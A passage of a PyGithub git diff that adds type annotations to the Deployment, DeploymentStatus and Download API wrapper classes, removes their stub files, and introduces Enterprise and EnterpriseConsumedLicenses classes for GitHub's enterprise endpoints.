+# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2015 Matt Babineau # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Martijn Koster # +# Copyright 2016 Peter Buckley # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # # Copyright 2020 Colby Gallup # # Copyright 2020 Pascal Hofmann # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Nevins # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -22,145 +40,129 @@ # # ################################################################################ +from __future__ import annotations + +from datetime import datetime +from typing import Any + import github.Consts import github.DeploymentStatus -import github.GithubObject +import github.NamedUser +from github.GithubObject import Attribute, CompletableGithubObject, NotSet, Opt +from github.PaginatedList import PaginatedList -class Deployment(github.GithubObject.CompletableGithubObject): +class Deployment(CompletableGithubObject): """ This class represents Deployments. The reference can be found here https://docs.github.com/en/rest/reference/repos#deployments """ - def __repr__(self): + def _initAttributes(self) -> None: + self._id: Attribute[int] = NotSet + self._ref: Attribute[str] = NotSet + self._url: Attribute[str] = NotSet + self._sha: Attribute[str] = NotSet + self._task: Attribute[str] = NotSet + self._payload: Attribute[dict[str, Any]] = NotSet + self._original_environment: Attribute[str] = NotSet + self._environment: Attribute[str] = NotSet + self._production_environment: Attribute[bool] = NotSet + self._transient_environment: Attribute[bool] = NotSet + self._description: Attribute[str] = NotSet + self._creator: Attribute[github.NamedUser.NamedUser] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._updated_at: Attribute[datetime | None] = NotSet + self._statuses_url: Attribute[str] = NotSet + self._repository_url: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "url": self._url.value}) @property - def id(self): - """ - :type: int - """ + def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property - def url(self): - """ - :type: string - """ + def ref(self) -> str: + self._completeIfNotSet(self._ref) + return self._ref.value + + @property + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property - def sha(self): - """ - :type: string - """ + def sha(self) -> str: self._completeIfNotSet(self._sha) return self._sha.value @property - def task(self): - """ - :type: string - """ + def task(self) -> str: self._completeIfNotSet(self._task) return self._task.value @property - def payload(self): - """ - :type: dict - """ + def payload(self) -> dict[str, Any]: self._completeIfNotSet(self._payload) return self._payload.value @property - def original_environment(self): - """ - :type: string - """ + def original_environment(self) -> str: self._completeIfNotSet(self._original_environment) return self._original_environment.value @property - def environment(self): - """ - :type: string - """ + def environment(self) -> str: self._completeIfNotSet(self._environment) return self._environment.value @property - def production_environment(self): - """ - :type: bool - """ + def production_environment(self) -> bool: self._completeIfNotSet(self._production_environment) return self._production_environment.value @property - def transient_environment(self): - """ - :type: bool - """ + def transient_environment(self) -> bool: self._completeIfNotSet(self._transient_environment) return self._transient_environment.value @property - def description(self): - """ - :type: string - """ + def description(self) -> str: self._completeIfNotSet(self._description) return self._description.value @property - def creator(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def creator(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._creator) return self._creator.value @property - def created_at(self): - """ - :type: datetime - """ + def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property - def updated_at(self): - """ - :type: datetime - """ + def updated_at(self) -> datetime | None: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property - def statuses_url(self): - """ - :type: string - """ + def statuses_url(self) -> str: self._completeIfNotSet(self._statuses_url) return self._statuses_url.value @property - def repository_url(self): - """ - :type: string - """ + def repository_url(self) -> str: self._completeIfNotSet(self._repository_url) return self._repository_url.value - def get_statuses(self): + def get_statuses(self) -> PaginatedList[github.DeploymentStatus.DeploymentStatus]: """ :calls: `GET /repos/{owner}/deployments/{deployment_id}/statuses `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.DeploymentStatus.DeploymentStatus` """ - return github.PaginatedList.PaginatedList( + return PaginatedList( github.DeploymentStatus.DeploymentStatus, self._requester, f"{self.url}/statuses", @@ -168,11 +170,9 @@ def get_statuses(self): headers={"Accept": self._get_accept_header()}, ) - def get_status(self, id_): + def get_status(self, id_: int) -> github.DeploymentStatus.DeploymentStatus: """ :calls: `GET /repos/{owner}/deployments/{deployment_id}/statuses/{status_id} `_ - :param id_: int - :rtype: :class:`github.DeploymentStatus.DeploymentStatus` """ assert isinstance(id_, int), id_ headers, data = self._requester.requestJsonAndCheck( @@ -180,57 +180,37 @@ def get_status(self, id_): f"{self.url}/statuses/{id_}", headers={"Accept": self._get_accept_header()}, ) - return github.DeploymentStatus.DeploymentStatus( - self._requester, headers, data, completed=True - ) + return github.DeploymentStatus.DeploymentStatus(self._requester, headers, data, completed=True) def create_status( self, - state, - target_url=github.GithubObject.NotSet, - description=github.GithubObject.NotSet, - environment=github.GithubObject.NotSet, - environment_url=github.GithubObject.NotSet, - auto_inactive=github.GithubObject.NotSet, - ): + state: str, + target_url: Opt[str] = NotSet, + description: Opt[str] = NotSet, + environment: Opt[str] = NotSet, + environment_url: Opt[str] = NotSet, + auto_inactive: Opt[bool] = NotSet, + ) -> github.DeploymentStatus.DeploymentStatus: """ :calls: `POST /repos/{owner}/{repo}/deployments/{deployment_id}/statuses `_ - :param: state: string - :param: target_url: string - :param: description: string - :param: environment: string - :param: environment_url: string - :param: auto_inactive: bool - :rtype: :class:`github.DeploymentStatus.DeploymentStatus` """ assert isinstance(state, str), state - assert target_url is github.GithubObject.NotSet or isinstance( - target_url, str - ), target_url - assert description is github.GithubObject.NotSet or isinstance( - description, str - ), description - assert environment is github.GithubObject.NotSet or isinstance( - environment, str - ), environment - assert environment_url is github.GithubObject.NotSet or isinstance( - environment_url, str - ), environment_url - assert auto_inactive is github.GithubObject.NotSet or isinstance( - auto_inactive, bool - ), auto_inactive + assert target_url is NotSet or isinstance(target_url, str), target_url + assert description is NotSet or isinstance(description, str), description + assert environment is NotSet or isinstance(environment, str), environment + assert environment_url is NotSet or isinstance(environment_url, str), environment_url + assert auto_inactive is NotSet or isinstance(auto_inactive, bool), auto_inactive - post_parameters = {"state": state} - if target_url is not github.GithubObject.NotSet: - post_parameters["target_url"] = target_url - if description is not github.GithubObject.NotSet: - post_parameters["description"] = description - if environment is not github.GithubObject.NotSet: - post_parameters["environment"] = environment - if environment_url is not github.GithubObject.NotSet: - post_parameters["environment_url"] = environment_url - if auto_inactive is not github.GithubObject.NotSet: - post_parameters["auto_inactive"] = auto_inactive + post_parameters = NotSet.remove_unset_items( + { + "state": state, + "target_url": target_url, + "description": description, + "environment": environment, + "environment_url": environment_url, + "auto_inactive": auto_inactive, + } + ) headers, data = self._requester.requestJsonAndCheck( "POST", @@ -238,12 +218,10 @@ def create_status( input=post_parameters, headers={"Accept": self._get_accept_header()}, ) - return github.DeploymentStatus.DeploymentStatus( - self._requester, headers, data, completed=True - ) + return github.DeploymentStatus.DeploymentStatus(self._requester, headers, data, completed=True) @staticmethod - def _get_accept_header(): + def _get_accept_header() -> str: return ", ".join( [ github.Consts.deploymentEnhancementsPreview, @@ -251,34 +229,15 @@ def _get_accept_header(): ] ) - def _initAttributes(self): - self._id = github.GithubObject.NotSet - self._production_environment = github.GithubObject.NotSet - self._transient_environment = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - self._sha = github.GithubObject.NotSet - self._task = github.GithubObject.NotSet - self._payload = github.GithubObject.NotSet - self._original_environment = github.GithubObject.NotSet - self._environment = github.GithubObject.NotSet - self._description = github.GithubObject.NotSet - self._creator = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._updated_at = github.GithubObject.NotSet - self._statuses_url = github.GithubObject.NotSet - self._repository_url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "production_environment" in attributes: # pragma no branch - self._production_environment = self._makeBoolAttribute( - attributes["production_environment"] - ) + self._production_environment = self._makeBoolAttribute(attributes["production_environment"]) + if "ref" in attributes: # pragma no branch + self._ref = self._makeStringAttribute(attributes["ref"]) if "transient_environment" in attributes: # pragma no branch - self._transient_environment = self._makeBoolAttribute( - attributes["transient_environment"] - ) + self._transient_environment = self._makeBoolAttribute(attributes["transient_environment"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "sha" in attributes: # pragma no branch @@ -288,17 +247,13 @@ def _useAttributes(self, attributes): if "payload" in attributes: # pragma no branch self._payload = self._makeDictAttribute(attributes["payload"]) if "original_environment" in attributes: # pragma no branch - self._original_environment = self._makeStringAttribute( - attributes["original_environment"] - ) + self._original_environment = self._makeStringAttribute(attributes["original_environment"]) if "environment" in attributes: # pragma no branch self._environment = self._makeStringAttribute(attributes["environment"]) if "description" in attributes: # pragma no branch self._description = self._makeStringAttribute(attributes["description"]) if "creator" in attributes: # pragma no branch - self._creator = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["creator"] - ) + self._creator = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["creator"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "updated_at" in attributes: # pragma no branch @@ -306,6 +261,4 @@ def _useAttributes(self, attributes): if "statuses_url" in attributes: # pragma no branch self._statuses_url = self._makeStringAttribute(attributes["statuses_url"]) if "repository_url" in attributes: # pragma no branch - self._repository_url = self._makeStringAttribute( - attributes["repository_url"] - ) + self._repository_url = self._makeStringAttribute(attributes["repository_url"]) diff --git a/github/Deployment.pyi b/github/Deployment.pyi deleted file mode 100644 index d3f342834c..0000000000 --- a/github/Deployment.pyi +++ /dev/null @@ -1,55 +0,0 @@ -from datetime import datetime -from typing import Any, Dict, Union - -from github.DeploymentStatus import DeploymentStatus -from github.GithubObject import CompletableGithubObject, _NotSetType -from github.NamedUser import NamedUser -from github.PaginatedList import PaginatedList - -class Deployment(CompletableGithubObject): - def __repr__(self) -> str: ... - @staticmethod - def _get_accept_header() -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - def get_statuses(self) -> PaginatedList[DeploymentStatus]: ... - def get_status(self, id_: int) -> DeploymentStatus: ... - def create_status( - self, - state: str, - target_url: Union[str, _NotSetType] = ..., - description: Union[str, _NotSetType] = ..., - environment: Union[str, _NotSetType] = ..., - environment_url: Union[str, _NotSetType] = ..., - auto_inactive: Union[bool, _NotSetType] = ..., - ) -> DeploymentStatus: ... - @property - def id(self) -> int: ... - @property - def url(self) -> str: ... - @property - def sha(self) -> str: ... - @property - def task(self) -> str: ... - @property - def payload(self) -> Dict[str, Any]: ... - @property - def original_environment(self) -> str: ... - @property - def environment(self) -> str: ... - @property - def production_environment(self) -> bool: ... - @property - def transient_environment(self) -> bool: ... - @property - def description(self) -> str: ... - @property - def creator(self) -> NamedUser: ... - @property - def created_at(self) -> datetime: ... - @property - def updated_at(self) -> datetime: ... - @property - def statuses_url(self) -> str: ... - @property - def repository_url(self) -> str: ... diff --git a/github/DeploymentStatus.py b/github/DeploymentStatus.py index 3e49fc2987..c6ff57f429 100644 --- a/github/DeploymentStatus.py +++ b/github/DeploymentStatus.py @@ -1,7 +1,25 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2015 Matt Babineau # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Martijn Koster # +# Copyright 2016 Peter Buckley # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # # Copyright 2020 Colby Gallup # # Copyright 2020 Pascal Hofmann # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -21,141 +39,106 @@ # # ################################################################################ -import github.GithubObject +from __future__ import annotations +from datetime import datetime +from typing import Any -class DeploymentStatus(github.GithubObject.CompletableGithubObject): +import github.NamedUser +from github.GithubObject import Attribute, CompletableGithubObject, NotSet + + +class DeploymentStatus(CompletableGithubObject): """ This class represents Deployment Statuses. The reference can be found here https://docs.github.com/en/rest/reference/repos#deployments """ - def __repr__(self): + def _initAttributes(self) -> None: + self._created_at: Attribute[datetime] = NotSet + self._creator: Attribute[github.NamedUser.NamedUser] = NotSet + self._deployment_url: Attribute[str] = NotSet + self._description: Attribute[str] = NotSet + self._environment: Attribute[str] = NotSet + self._environment_url: Attribute[str] = NotSet + self._repository_url: Attribute[str] = NotSet + self._state: Attribute[str] = NotSet + self._target_url: Attribute[str] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._url: Attribute[str] = NotSet + self._id: Attribute[int] = NotSet + self._node_id: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "url": self._url.value}) @property - def created_at(self): - """ - :type: datetime.datetime - """ + def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property - def creator(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def creator(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._creator) return self._creator.value @property - def deployment_url(self): - """ - :type: string - """ + def deployment_url(self) -> str: self._completeIfNotSet(self._deployment_url) return self._deployment_url.value @property - def description(self): - """ - :type: string - """ + def description(self) -> str: self._completeIfNotSet(self._description) return self._description.value @property - def environment(self): - """ - :type: string - """ + def environment(self) -> str: self._completeIfNotSet(self._environment) return self._environment.value @property - def environment_url(self): - """ - :type: string - """ + def environment_url(self) -> str: self._completeIfNotSet(self._environment_url) return self._environment_url.value @property - def repository_url(self): - """ - :type: string - """ + def repository_url(self) -> str: self._completeIfNotSet(self._repository_url) return self._repository_url.value @property - def state(self): - """ - :type: string - """ + def state(self) -> str: self._completeIfNotSet(self._state) return self._state.value @property - def target_url(self): - """ - :type: string - """ + def target_url(self) -> str: self._completeIfNotSet(self._target_url) return self._target_url.value @property - def updated_at(self): - """ - :type: datetime.datetime - """ + def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property - def id(self): - """ - :type: int - """ + def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property - def node_id(self): - """ - :type: string - """ + def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value - def _initAttributes(self): - self._created_at = github.GithubObject.NotSet - self._creator = github.GithubObject.NotSet - self._deployment_url = github.GithubObject.NotSet - self._description = github.GithubObject.NotSet - self._environment = github.GithubObject.NotSet - self._environment_url = github.GithubObject.NotSet - self._repository_url = github.GithubObject.NotSet - self._state = github.GithubObject.NotSet - self._target_url = github.GithubObject.NotSet - self._updated_at = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - self._id = github.GithubObject.NotSet - self._node_id = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "environment_url" in attributes: # pragma no branch - self._environment_url = self._makeStringAttribute( - attributes["environment_url"] - ) + self._environment_url = self._makeStringAttribute(attributes["environment_url"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "id" in attributes: # pragma no branch @@ -165,21 +148,15 @@ def _useAttributes(self, attributes): if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "creator" in attributes: # pragma no branch - self._creator = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["creator"] - ) + self._creator = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["creator"]) if "deployment_url" in attributes: # pragma no branch - self._deployment_url = self._makeStringAttribute( - attributes["deployment_url"] - ) + self._deployment_url = self._makeStringAttribute(attributes["deployment_url"]) if "description" in attributes: # pragma no branch self._description = self._makeStringAttribute(attributes["description"]) if "environment" in attributes: # pragma no branch self._environment = self._makeStringAttribute(attributes["environment"]) if "repository_url" in attributes: # pragma no branch - self._repository_url = self._makeStringAttribute( - attributes["repository_url"] - ) + self._repository_url = self._makeStringAttribute(attributes["repository_url"]) if "state" in attributes: # pragma no branch self._state = self._makeStringAttribute(attributes["state"]) if "target_url" in attributes: # pragma no branch diff --git a/github/DeploymentStatus.pyi b/github/DeploymentStatus.pyi deleted file mode 100644 index 98736eaca9..0000000000 --- a/github/DeploymentStatus.pyi +++ /dev/null @@ -1,36 +0,0 @@ -from datetime import datetime -from typing import Any, Dict - -from github.GithubObject import CompletableGithubObject -from github.NamedUser import NamedUser - -class DeploymentStatus(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def created_at(self) -> datetime: ... - @property - def creator(self) -> NamedUser: ... - @property - def deployment_url(self) -> str: ... - @property - def description(self) -> str: ... - @property - def environment(self) -> str: ... - @property - def environment_url(self) -> str: ... - @property - def repository_url(self) -> str: ... - @property - def state(self) -> str: ... - @property - def target_url(self) -> str: ... - @property - def updated_at(self) -> datetime: ... - @property - def url(self) -> str: ... - @property - def id(self) -> int: ... - @property - def node_id(self) -> str: ... diff --git a/github/Download.py b/github/Download.py index bbdc95876a..a282344aa2 100644 --- a/github/Download.py +++ b/github/Download.py @@ -9,6 +9,12 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -28,207 +34,151 @@ # # ################################################################################ -import github.GithubObject +from __future__ import annotations +from datetime import datetime +from typing import Any -class Download(github.GithubObject.CompletableGithubObject): +from github.GithubObject import Attribute, CompletableGithubObject, NotSet + + +class Download(CompletableGithubObject): """ This class represents Downloads. The reference can be found here https://docs.github.com/en/rest/reference/repos """ - def __repr__(self): + def _initAttributes(self) -> None: + self._accesskeyid: Attribute[str] = NotSet + self._acl: Attribute[str] = NotSet + self._bucket: Attribute[str] = NotSet + self._content_type: Attribute[str] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._description: Attribute[str] = NotSet + self._download_count: Attribute[int] = NotSet + self._expirationdate: Attribute[datetime] = NotSet + self._html_url: Attribute[str] = NotSet + self._id: Attribute[int] = NotSet + self._mime_type: Attribute[str] = NotSet + self._name: Attribute[str] = NotSet + self._path: Attribute[str] = NotSet + self._policy: Attribute[str] = NotSet + self._prefix: Attribute[str] = NotSet + self._redirect: Attribute[bool] = NotSet + self._s3_url: Attribute[str] = NotSet + self._signature: Attribute[str] = NotSet + self._size: Attribute[int] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"id": self._id.value}) @property - def accesskeyid(self): - """ - :type: string - """ + def accesskeyid(self) -> str: self._completeIfNotSet(self._accesskeyid) return self._accesskeyid.value @property - def acl(self): - """ - :type: string - """ + def acl(self) -> str: self._completeIfNotSet(self._acl) return self._acl.value @property - def bucket(self): - """ - :type: string - """ + def bucket(self) -> str: self._completeIfNotSet(self._bucket) return self._bucket.value @property - def content_type(self): - """ - :type: string - """ + def content_type(self) -> str: self._completeIfNotSet(self._content_type) return self._content_type.value @property - def created_at(self): - """ - :type: datetime.datetime - """ + def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property - def description(self): - """ - :type: string - """ + def description(self) -> str: self._completeIfNotSet(self._description) return self._description.value @property - def download_count(self): - """ - :type: integer - """ + def download_count(self) -> int: self._completeIfNotSet(self._download_count) return self._download_count.value @property - def expirationdate(self): - """ - :type: datetime.datetime - """ + def expirationdate(self) -> datetime: self._completeIfNotSet(self._expirationdate) return self._expirationdate.value @property - def html_url(self): - """ - :type: string - """ + def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property - def id(self): - """ - :type: integer - """ + def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property - def mime_type(self): - """ - :type: string - """ + def mime_type(self) -> str: self._completeIfNotSet(self._mime_type) return self._mime_type.value @property - def name(self): - """ - :type: string - """ + def name(self) -> str: self._completeIfNotSet(self._name) return self._name.value @property - def path(self): - """ - :type: string - """ + def path(self) -> str: self._completeIfNotSet(self._path) return self._path.value @property - def policy(self): - """ - :type: string - """ + def policy(self) -> str: self._completeIfNotSet(self._policy) return self._policy.value @property - def prefix(self): - """ - :type: string - """ + def prefix(self) -> str: self._completeIfNotSet(self._prefix) return self._prefix.value @property - def redirect(self): - """ - :type: bool - """ + def redirect(self) -> bool: self._completeIfNotSet(self._redirect) return self._redirect.value @property - def s3_url(self): - """ - :type: string - """ + def s3_url(self) -> str: self._completeIfNotSet(self._s3_url) return self._s3_url.value @property - def signature(self): - """ - :type: string - """ + def signature(self) -> str: self._completeIfNotSet(self._signature) return self._signature.value @property - def size(self): - """ - :type: integer - """ + def size(self) -> int: self._completeIfNotSet(self._size) return self._size.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value - def delete(self): + def delete(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/downloads/{id} `_ - :rtype: None """ headers, data = self._requester.requestJsonAndCheck("DELETE", self.url) - def _initAttributes(self): - self._accesskeyid = github.GithubObject.NotSet - self._acl = github.GithubObject.NotSet - self._bucket = github.GithubObject.NotSet - self._content_type = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._description = github.GithubObject.NotSet - self._download_count = github.GithubObject.NotSet - self._expirationdate = github.GithubObject.NotSet - self._html_url = github.GithubObject.NotSet - self._id = github.GithubObject.NotSet - self._mime_type = github.GithubObject.NotSet - self._name = github.GithubObject.NotSet - self._path = github.GithubObject.NotSet - self._policy = github.GithubObject.NotSet - self._prefix = github.GithubObject.NotSet - self._redirect = github.GithubObject.NotSet - self._s3_url = github.GithubObject.NotSet - self._signature = github.GithubObject.NotSet - self._size = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "accesskeyid" in attributes: # pragma no branch self._accesskeyid = self._makeStringAttribute( attributes["accesskeyid"] diff --git a/github/Download.pyi b/github/Download.pyi deleted file mode 100644 index bf1b413296..0000000000 --- a/github/Download.pyi +++ /dev/null @@ -1,50 +0,0 @@ -from datetime import datetime -from typing import Any, Dict, Optional - -from github.GithubObject import CompletableGithubObject - -class Download(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def accesskeyid(self) -> Optional[str]: ... - @property - def acl(self) -> Optional[str]: ... - @property - def bucket(self) -> Optional[str]: ... - @property - def content_type(self) -> Optional[str]: ... - @property - def created_at(self) -> Optional[datetime]: ... - def delete(self) -> None: ... - @property - def description(self) -> Optional[str]: ... - @property - def download_count(self) -> Optional[int]: ... - @property - def expirationdate(self) -> Optional[datetime]: ... - @property - def html_url(self) -> Optional[str]: ... - @property - def id(self) -> int: ... - @property - def mime_type(self) -> Optional[str]: ... - @property - def name(self) -> Optional[str]: ... - @property - def path(self) -> Optional[str]: ... - @property - def policy(self) -> Optional[str]: ... - @property - def prefix(self) -> Optional[str]: ... - @property - def redirect(self) -> Optional[bool]: ... - @property - def s3_url(self) -> Optional[str]: ... - @property - def signature(self) -> Optional[str]: ... - @property - def size(self) -> Optional[int]: ... - @property - def url(self) -> Optional[str]: ... diff --git a/github/Enterprise.py b/github/Enterprise.py new file mode 100644 index 0000000000..26e0ada6cf --- /dev/null +++ b/github/Enterprise.py @@ -0,0 +1,89 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Mark Amery # +# Copyright 2023 Trim21 # +# Copyright 2023 YugoHino # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +import urllib.parse +from typing import Any, Dict + +from github.EnterpriseConsumedLicenses import EnterpriseConsumedLicenses +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet +from github.Requester import Requester + + +class Enterprise(NonCompletableGithubObject): + """ + This class represents Enterprises. Such objects do not exist in the Github API, so this class merely collects all endpoints the start with /enterprises/{enterprise}/. See methods below for specific endpoints and docs. + https://docs.github.com/en/enterprise-cloud@latest/rest/enterprise-admin?apiVersion=2022-11-28 + """ + + def __init__( + self, + requester: Requester, + enterprise: str, + ): + enterprise = urllib.parse.quote(enterprise) + super().__init__(requester, {}, {"enterprise": enterprise, "url": f"/enterprises/{enterprise}"}, True) + + def _initAttributes(self) -> None: + self._enterprise: Attribute[str] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: + return self.get__repr__({"enterprise": self._enterprise.value}) + + @property + def enterprise(self) -> str: + return self._enterprise.value + + @property + def url(self) -> str: + return self._url.value + + def get_consumed_licenses(self) -> EnterpriseConsumedLicenses: + """ + :calls: `GET /enterprises/{enterprise}/consumed-licenses `_ + """ + headers, data = self._requester.requestJsonAndCheck("GET", self.url + "/consumed-licenses") + if "url" not in data: + data["url"] = self.url + "/consumed-licenses" + + return EnterpriseConsumedLicenses(self._requester, headers, data, completed=True) + + def _useAttributes(self, attributes: Dict[str, Any]) -> None: + if "enterprise" in attributes: # pragma no branch + self._enterprise = self._makeStringAttribute(attributes["enterprise"]) + if "url" in attributes: # pragma no branch + self._url = self._makeStringAttribute(attributes["url"]) diff --git a/github/EnterpriseConsumedLicenses.py b/github/EnterpriseConsumedLicenses.py new file mode 100644 index 0000000000..14f1bd4f20 --- /dev/null +++ b/github/EnterpriseConsumedLicenses.py @@ -0,0 +1,103 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # +# Copyright 2023 YugoHino # +# Copyright 2024 Enrico Minack # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from typing import Any, Dict + +from github.GithubObject import Attribute, CompletableGithubObject, NotSet +from github.NamedEnterpriseUser import NamedEnterpriseUser +from github.PaginatedList import PaginatedList + + +class EnterpriseConsumedLicenses(CompletableGithubObject): + """ + This class represents license consumed by enterprises. The reference can be found here https://docs.github.com/en/enterprise-cloud@latest/rest/enterprise-admin/license#list-enterprise-consumed-licenses + """ + + def _initAttributes(self) -> None: + self._total_seats_consumed: Attribute[int] = NotSet + self._total_seats_purchased: Attribute[int] = NotSet + self._enterprise: Attribute[str] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: + return self.get__repr__({"enterprise": self._enterprise.value}) + + @property + def total_seats_consumed(self) -> int: + return self._total_seats_consumed.value + + @property + def total_seats_purchased(self) -> int: + return self._total_seats_purchased.value + + @property + def enterprise(self) -> str: + self._completeIfNotSet(self._enterprise) + return self._enterprise.value + + @property + def url(self) -> str: + self._completeIfNotSet(self._url) + return self._url.value + + def get_users(self) -> PaginatedList[NamedEnterpriseUser]: + """ + :calls: `GET /enterprises/{enterprise}/consumed-licenses `_ + """ + + url_parameters: Dict[str, Any] = {} + return PaginatedList( + NamedEnterpriseUser, + self._requester, + self.url, + url_parameters, + None, + "users", + firstData=self.raw_data, + firstHeaders=self.raw_headers, + ) + + def 